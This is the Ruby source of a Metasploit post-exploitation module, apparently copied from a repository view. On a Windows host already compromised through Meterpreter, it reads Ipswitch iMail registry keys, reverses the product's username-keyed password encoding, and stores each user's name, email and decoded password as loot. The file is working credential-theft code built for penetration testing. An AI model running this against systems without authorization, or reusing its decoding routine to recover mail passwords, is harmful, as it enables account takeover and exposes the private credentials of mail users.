metasploit-framework/modules/post/windows/gather/credentials/imail.rb

212 lines
5.6 KiB
Ruby

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'msf/core/post/windows/registry'
require 'msf/core/auxiliary/report'
class Metasploit3 < Msf::Post
include Msf::Post::Windows::Registry
include Msf::Auxiliary::Report
def initialize(info={})
super(update_info(info,
'Name' => "Windows Gather IPSwitch iMail User Data Enumeration",
'Description' => %q{
This module will collect iMail user data such as the username, domain,
full name, e-mail, and the decoded password. Please note if IMAILUSER is
specified, the module extracts user data from all the domains found. If
IMAILDOMAIN is specified, then it will extract all user data under that
particular category.
},
'License' => MSF_LICENSE,
'Author' =>
[
'sinn3r', #Metasploit
],
'References' =>
[
['EDB', '11331'],
],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ]
))
register_options(
[
OptString.new('IMAILUSER', [false, 'iMail username', '']),
OptString.new('IMAILDOMAIN', [false, 'iMail Domain', ''])
], self.class)
end
def download_info(imail_user='', imail_domain='')
base = "HKLM\\SOFTWARE\\Ipswitch\\IMail"
#Find domain(s)
users_subkey = []
if imail_domain.empty?
domains_key = registry_enumkeys("#{base}\\domains")
if not domains_key.nil?
domains_key.each do |domain_key|
users_subkey << "#{base}\\domains\\#{domain_key}\\Users"
end
end
else
users_subkey << "#{base}\\domains\\#{imail_domain}\\Users"
end
#Find users
users_key = []
users_subkey.each do |user_key|
if imail_user.empty?
users = registry_enumkeys(user_key)
if not users.nil?
users.each do |user|
users_key << "#{user_key}\\#{user}"
end
end
else
users_key << "#{user_key}\\#{imail_user}"
end
end
#Get data for each user
users = []
users_key.each do |key|
#Filter out '_aliases'
next if key =~ /_aliases/
vprint_status("Grabbing key: #{key}")
domain = $1 if key =~ /Ipswitch\\IMail\\domains\\(.+)\\Users/
mail_addr = registry_getvaldata(key, 'MailAddr')
password = registry_getvaldata(key, 'Password')
full_name = registry_getvaldata(key, 'FullName')
username = $1 if mail_addr =~ /(.+)@.+/
#Hmm, I don't think this user exists, skip to the next one
next if mail_addr == nil
current_user =
{
:domain => domain,
:fullname => full_name,
:username => username,
:email => mail_addr,
:password => password,
}
users << current_user
end
return users
end
def decode_password(username='', enc_password='')
#No point trying to decode if there's no username or password
return "" if username.empty? or enc_password.empty?
counter = 0
password = ''
#Start decoding, what's up gold $$
0.step(enc_password.length-1, 2) do |i|
byte_1 = enc_password[i,1].unpack("C")[0]
byte_1 = (byte_1 <= 57) ? byte_1 - 48 : byte_1 - 55
byte_1 *= 16
byte_2 = enc_password[i+1,1].unpack("C")[0]
byte_2 = (byte_2 <= 57) ? byte_2 - 48 : byte_2 - 55
char = byte_1 + byte_2
counter = 0 if username.length <= counter
username_byte = username[counter, 1].unpack("C")[0]
if username_byte > 54 and username_byte < 90
username_byte += 32
end
char -= username_byte
counter += 1
password << char.chr
end
vprint_status("Password '#{enc_password}' = #{password}")
return password
end
def report(users)
credentials = Rex::Ui::Text::Table.new(
'Header' => 'Ipswitch iMail User Credentials',
'Indent' => 1,
'Columns' =>
[
'User',
'Password',
'Domain',
'Full Name',
'E-mail'
]
)
users.each do |user|
domain = user[:domain]
username = user[:username]
password = user[:password]
full_name = user[:fullname]
e_mail = user[:email]
if datastore['VERBOSE']
text = ''
text << "User=#{username}, "
text << "Password=#{password}, "
text << "Domain=#{domain}, "
text << "Full Name=#{full_name}, "
text << "E-mail=#{e_mail}"
print_good(text)
end
credentials << [username, password, domain, full_name, e_mail]
end
print_status("Storing data...")
path = store_loot(
'imail.user.creds',
'text/csv',
session,
credentials.to_csv,
'imail_user_creds.csv',
'Ipswitch iMail user credentials'
)
print_status("User credentials saved in: #{path}")
end
def run
imail_user = datastore['IMAILUSER']
imail_domain = datastore['IMAILDOMAIN']
print_status("Download iMail user information...") if datastore['VERBOSE'] == false
#Download user data. If no user specified, we dump it all.
users = download_info(imail_user, imail_domain)
#Process fullname and decode password
users.each do |user|
user[:fullname] = Rex::Text.to_ascii(user[:fullname][2, user[:fullname].length])
user[:password] = decode_password(user[:username], user[:password])
end
#Report information and store it
report(users)
end
end